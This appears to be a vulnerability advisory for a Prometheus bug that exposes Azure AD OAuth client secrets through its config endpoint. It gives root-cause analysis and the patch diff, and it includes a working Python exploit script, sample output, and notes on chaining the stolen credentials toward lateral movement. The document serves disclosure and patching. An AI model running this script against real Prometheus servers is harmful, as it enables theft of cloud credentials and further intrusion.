#Summary

CVE-2026-42151 is an information disclosure vulnerability in Prometheus that exposes Azure AD OAuth2 client secrets in plaintext to unauthenticated attackers. Affected versions include Prometheus 2.48.0 through 3.5.2 and 3.6.0 through 3.11.2. The vulnerability has a CVSS score of 7.5 (HIGH) and requires no authentication or user interaction - a single HTTP GET request to the configuration endpoint leaks the full credential.

#Affected versions

The vulnerability affects any Prometheus instance configured with Azure AD OAuth2 remote write using a client secret. Instances without Azure AD remote write configuration are not affected.

#Root cause analysis

#Vulnerable code path

The vulnerability exists in storage/remote/azuread/azuread.go. The OAuthConfig struct incorrectly typed the ClientSecret field as a plain Go string instead of config_util.Secret:

type OAuthConfig struct {
    ClientID string `yaml:"client_id,omitempty"`
    ClientSecret string `yaml:"client_secret,omitempty"`   // <- plain string, no redaction
    TenantID string `yaml:"tenant_id,omitempty"`
}

Prometheus exposes its running configuration via the GET /api/v1/status/config endpoint (also /-/config). This endpoint serializes the entire configuration tree to YAML and returns it as JSON or plain text.

The config_util.Secret type (from github.com/prometheus/common/config) implements a custom MarshalYAML method that returns the literal "<secret>" placeholder instead of the actual value - this is Prometheus's standard redaction mechanism for sensitive fields. Because ClientSecret was typed as a plain string, the YAML marshaler emitted the real credential verbatim.

#How input reaches the sink

Configuration flow:

  1. Prometheus loads prometheus.yml at startup
  2. The Azure AD section is parsed into the OAuthConfig struct
  3. When a request arrives at /api/v1/status/config, the handler calls api.config().String()
  4. This triggers YAML marshaling of the config tree
  5. Each struct field is serialized - most sensitive fields use config_util.Secret which redacts to "<secret>"
  6. The ClientSecret field, being a plain string, is serialized with its actual value
  7. The attacker receives the full plaintext credential in the HTTP response

This is purely a serialization-time bug. The runtime functionality of newOAuthTokenCredential works correctly:

func newOAuthTokenCredential(clientOpts *azcore.ClientOptions,
    oAuthConfig *OAuthConfig) (azcore.TokenCredential, error) {
    opts := &azidentity.ClientSecretCredentialOptions{ClientOptions: *clientOpts}
    return azidentity.NewClientSecretCredential(oAuthConfig.TenantID,
        oAuthConfig.ClientID, oAuthConfig.ClientSecret, opts)
}

The function reads the secret correctly at runtime. The type mistake only affects configuration serialization paths.

#Patch diff

#What the fix does

The patch changes ClientSecret from string to config_util.Secret in the struct definition. After this change, the YAML marshaler automatically redacts the field to "<secret>" regardless of its actual value.

Patch for PR #18590 (main branch / 3.11.x):

 type OAuthConfig struct {
     ClientID string `yaml:"client_id,omitempty"`
-    ClientSecret string `yaml:"client_secret,omitempty"`
+    ClientSecret config_util.Secret `yaml:"client_secret,omitempty"`
     TenantID string `yaml:"tenant_id,omitempty"`
 }

 func newOAuthTokenCredential(clientOpts *azcore.ClientOptions,
     oAuthConfig *OAuthConfig) (azcore.TokenCredential, error) {
     opts := &azidentity.ClientSecretCredentialOptions{ClientOptions: *clientOpts}
     return azidentity.NewClientSecretCredential(oAuthConfig.TenantID,
-        oAuthConfig.ClientID, oAuthConfig.ClientSecret, opts)
+        oAuthConfig.ClientID, string(oAuthConfig.ClientSecret), opts)
 }

The explicit string() cast is necessary because the Azure SDK expects a string argument, not the custom config_util.Secret type. With this change, serialization now returns client_secret: <secret> while the runtime code continues to work as before.

An identical fix was applied to the 3.5.x LTS branch (PR #18587).

#Proof of concept

#exploit.py - Prometheus OAuth Client Secret Extraction

#!/usr/bin/env python3
"""
CVE-2026-42151 - Prometheus Azure AD OAuth2 client_secret Plaintext Exposure
Affected: Prometheus 2.48.0-3.5.2 and 3.6.0-3.11.2
Type: Information Disclosure

The OAuthConfig.ClientSecret field was typed as a plain Go string instead of
config_util.Secret. When Prometheus serializes its running config via
/api/v1/status/config or /-/config, the real Azure AD client secret is
emitted in plaintext instead of being redacted as "<secret>".

Usage:
  python exploit.py --host <target> --port <port>
  python exploit.py --host 127.0.0.1 --port 9090
"""

import argparse
import sys
import re
try:
    import requests
except ImportError:
    import urllib.request
    import json as _json
    requests = None

CVE_ID    = "CVE-2026-42151"
VULN_TYPE = "Info Disclosure"


def header(host: str, port: int) -> None:
    print(f"\n{'='*60}")
    print(f"  ALIM EXPLOIT  {CVE_ID}")
    print(f"  Type: {VULN_TYPE}  |  Target: {host}:{port}")
    print(f"{'='*60}\n")


def step(n: int, msg: str) -> None:
    print(f"[STEP {n}] {msg}")


def section(label: str, content: str) -> None:
    print(f"\n--- {label} ---")
    print(str(content).strip())
    print("---\n")


def done(success: bool, evidence: str) -> None:
    print(f"\n{'='*60}")
    print(f"  RESULT  : {'SUCCESS' if success else 'FAILURE'}")
    print(f"  EVIDENCE: {evidence}")
    print(f"{'='*60}\n")
    sys.exit(0 if success else 1)


def fetch(url: str) -> tuple:
    """Return (status_code, text). Works with or without requests library."""
    if requests is not None:
        r = requests.get(url, timeout=10)
        return r.status_code, r.text
    else:
        try:
            with urllib.request.urlopen(url, timeout=10) as resp:
                return resp.status, resp.read().decode("utf-8", errors="replace")
        except urllib.error.HTTPError as e:
            return e.code, e.read().decode("utf-8", errors="replace")


def exploit(host: str, port: int) -> None:
    header(host, port)

    base = f"http://{host}:{port}"
    endpoints = [
        f"{base}/api/v1/status/config",
        f"{base}/-/config",
    ]

    raw_yaml = None
    used_endpoint = None

    step(1, f"Probing config endpoints on {host}:{port}")
    for url in endpoints:
        try:
            status, body = fetch(url)
            if status == 200:
                # /api/v1/status/config returns JSON with data.yaml
                # /-/config returns raw YAML
                if "application/json" in url or "api/v1" in url:
                    # Try to parse JSON envelope
                    try:
                        if requests is not None:
                            import json
                            obj = json.loads(body)
                            raw_yaml = obj.get("data", {}).get("yaml", body)
                        else:
                            import json
                            obj = json.loads(body)
                            raw_yaml = obj.get("data", {}).get("yaml", body)
                    except Exception:
                        raw_yaml = body
                else:
                    raw_yaml = body
                used_endpoint = url
                break
        except Exception as exc:
            section(f"ENDPOINT ERROR ({url})", str(exc))
            continue

    if raw_yaml is None:
        section("SERVER RESPONSE", "All endpoints unreachable or returned non-200")
        done(False, "Could not fetch config from any endpoint")

    step(2, f"Config retrieved from {used_endpoint} - scanning for client_secret")
    section("RAW CONFIG YAML (excerpt)", raw_yaml[:3000] if len(raw_yaml) > 3000 else raw_yaml)

    # Check for plaintext secret (vulnerable) vs. redacted placeholder (patched)
    match = re.search(r"client_secret:\s*(.+)", raw_yaml)

    if not match:
        section("SCAN RESULT", "No client_secret field found in config (Azure AD OAuth may not be configured)")
        done(False, "No client_secret field present in Prometheus config")

    secret_value = match.group(1).strip()
    step(3, f"Found client_secret field: {secret_value!r}")

    if secret_value == "<secret>":
        section("SCAN RESULT", f"client_secret: {secret_value}\n=> Field is REDACTED - target is running a PATCHED version.")
        done(False, "client_secret is redacted as '<secret>' - patch enforces config_util.Secret type")
    else:
        section("EXPOSED SECRET", f"client_secret: {secret_value}")
        done(True, f"client_secret leaked in plaintext: '{secret_value}' - target is VULNERABLE (unpatched)")


if __name__ == "__main__":
    parser = argparse.ArgumentParser(description=f"{CVE_ID} exploit PoC")
    parser.add_argument("--host", required=True,         help="Target hostname or IP")
    parser.add_argument("--port", type=int, default=9090, help="Target port (default: 9090)")
    args = parser.parse_args()
    exploit(args.host, args.port)

#Usage

python3 exploit.py --host 127.0.0.1 --port 9090

Vulnerable target (v3.5.2):

============================================================
  ALIM EXPLOIT  CVE-2026-42151
  Type: Info Disclosure  |  Target: 127.0.0.1:9090
============================================================

[STEP 1] Probing config endpoints on 127.0.0.1:9090
[STEP 2] Config retrieved from http://127.0.0.1:9090/api/v1/status/config - scanning for client_secret

--- RAW CONFIG YAML (excerpt) ---
remote_write:
- url: https://dummy-ingestion-endpoint.example.com/dataCollectionRules/test/streams/Custom-Dummy
  azuread:
    oauth:
      client_id: aaaaaaaa-bbbb-cccc-dddd-eeeeeeeeeeee
      client_secret: SUPER_SECRET_CLIENT_SECRET_VALUE
      tenant_id: ffffffff-0000-1111-2222-333333333333
    cloud: AzurePublic
---

[STEP 3] Found client_secret field: 'SUPER_SECRET_CLIENT_SECRET_VALUE'

--- EXPOSED SECRET ---
client_secret: SUPER_SECRET_CLIENT_SECRET_VALUE
---

============================================================
  RESULT  : SUCCESS
  EVIDENCE: client_secret leaked in plaintext: 'SUPER_SECRET_CLIENT_SECRET_VALUE' - target is VULNERABLE (unpatched)
============================================================

Patched target (v3.5.3):

============================================================
  ALIM EXPLOIT  CVE-2026-42151
  Type: Info Disclosure  |  Target: 127.0.0.1:9091
============================================================

[STEP 1] Probing config endpoints on 127.0.0.1:9091
[STEP 2] Config retrieved from http://127.0.0.1:9091/api/v1/status/config - scanning for client_secret

--- RAW CONFIG YAML (excerpt) ---
remote_write:
- url: https://dummy-ingestion-endpoint.example.com/dataCollectionRules/test/streams/Custom-Dummy
  azuread:
    oauth:
      client_id: aaaaaaaa-bbbb-cccc-dddd-eeeeeeeeeeee
      client_secret: <secret>
      tenant_id: ffffffff-0000-1111-2222-333333333333
    cloud: AzurePublic
---

[STEP 3] Found client_secret field: '<secret>'

--- SCAN RESULT ---
client_secret: <secret>
=> Field is REDACTED - target is running a PATCHED version.
---

============================================================
  RESULT  : FAILURE
  EVIDENCE: client_secret is redacted as '<secret>' - patch enforces config_util.Secret type
============================================================

#Exploitation notes

#Preconditions

The attacker needs:

  1. Network access to the Prometheus HTTP port (default TCP 9090). If Prometheus is behind a firewall or reverse proxy with authentication, the attacker must bypass those controls first. By default, Prometheus does not require authentication on its management endpoints.
  2. Prometheus configured with Azure AD OAuth2 remote write using a client secret. Instances without Azure AD remote write are not affected. The configuration must contain an azuread.oauth.client_secret field.
  3. Target running an affected version (2.48.0-3.5.2 or 3.6.0-3.11.2). Versions 3.5.3 and 3.11.3 or later are patched.

#Reliability

The exploit is 100% reliable on vulnerable targets. A single unauthenticated HTTP GET to /api/v1/status/config (or /-/config) is sufficient. No timing delays, no retries, no race conditions - the vulnerability is deterministic.

#Impact

Full disclosure of the Azure AD OAuth2 client secret. Combined with the client_id and tenant_id (also exposed in plaintext in the same configuration block), the attacker gains complete Azure AD application credentials. These can be used to:

#Chaining potential

This is typically a first-step information disclosure in an Azure-connected infrastructure. The exposed credentials enable lateral movement and data poisoning. In defense-in-depth scenarios, this could be chained with misconfigured Azure RBAC or weak service principal permissions to achieve resource access or data exfiltration.

#References